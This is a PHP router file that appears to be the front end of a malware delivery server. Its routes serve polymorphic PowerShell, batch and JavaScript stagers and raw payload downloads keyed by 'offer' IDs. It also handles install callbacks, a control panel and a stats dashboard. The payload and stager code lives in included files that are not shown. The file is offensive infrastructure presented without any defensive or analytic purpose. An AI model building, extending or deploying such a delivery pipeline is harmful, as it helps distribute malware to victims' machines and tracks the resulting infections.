<?php
/**
 * Delivery Pipeline Router
 *
 * Active endpoints:
 *   GET /s              — PowerShell stager (polymorphic)
 *   GET /p              — Raw payload download (tar.gz)
 *   GET /cb             — Install callback (stats)
 *   GET /stats          — Stats dashboard
 */

$cfg = require __DIR__ . '/inc/config.php';
require_once __DIR__ . '/inc/protection.php';
require_once __DIR__ . '/inc/helpers.php';
require_once __DIR__ . '/inc/stats.php';

$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$uri = '/' . ltrim($uri, '/');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(204);
    exit;
}

switch (true) {
    case $uri === '/':
        require __DIR__ . '/pages/landing.php';
        break;

    case preg_match('#^/s(\d?)$#', $uri, $m) === 1:
        $GLOBALS['offer_id'] = $m[1] ?: '1';
        require __DIR__ . '/endpoints/ps_stager.php';
        break;

    case preg_match('#^/b(\d?)$#', $uri, $m) === 1:
        $GLOBALS['offer_id'] = $m[1] ?: '1';
        require __DIR__ . '/endpoints/bat_stager.php';
        break;

    case preg_match('#^/j(\d?)$#', $uri, $m) === 1:
        $GLOBALS['offer_id'] = $m[1] ?: '1';
        require __DIR__ . '/endpoints/js_stager.php';
        break;

    case preg_match('#^/p(\d?)$#', $uri, $m) === 1:
        $GLOBALS['offer_id'] = $m[1] ?: '1';
        trackEvent('pipe');
        require __DIR__ . '/endpoints/payload_pipe.php';
        break;

    case $uri === '/cb' || $uri === '/callback.php':
        require __DIR__ . '/callback.php';
        break;

    case $uri === '/panel.php' || $uri === '/panel':
        require __DIR__ . '/panel.php';
        break;

    case $uri === '/sub.php' || $uri === '/sub':
        require __DIR__ . '/sub.php';
        break;

    case $uri === '/pstats' || $uri === '/stats':
        require __DIR__ . '/endpoints/stats_view.php';
        break;

    default:
        http_response_code(404);
        echo '<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';
        break;
}
